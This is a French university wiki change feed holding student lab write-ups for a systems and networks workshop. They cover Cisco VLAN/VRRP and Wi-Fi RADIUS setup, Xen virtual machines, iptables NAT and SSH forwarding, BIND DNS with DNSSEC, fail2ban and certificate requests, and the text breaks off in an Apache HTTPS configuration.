C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le &#039;&#039;&#039;vlan&#039;&#039;&#039; que nous venons de créer ainsi que le &#039;&#039;&#039;VRRP&#039;&#039;&#039; j&#039;ai fait ceci : (&#039;&#039;&#039;/!\&#039;&#039;&#039; l&#039;adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d&#039;éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie &#039;&#039;&#039;wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre &#039;&#039;&#039;point d&#039;accès wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc &#039;&#039;&#039;incomplète&#039;&#039;&#039; et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E13&amp;diff=12355</id>
		<title>Atelier SysRes SE4 2025/2026 E13</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E13&amp;diff=12355"/>
		<updated>2026-02-23T10:35:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : Page créée avec « &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt; openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr  Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille Organizational Unit Name (eg, section) []:IOT Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech Email Address []:billel.cheklat@polytech-li... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12354</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12354"/>
		<updated>2026-02-23T10:34:17Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
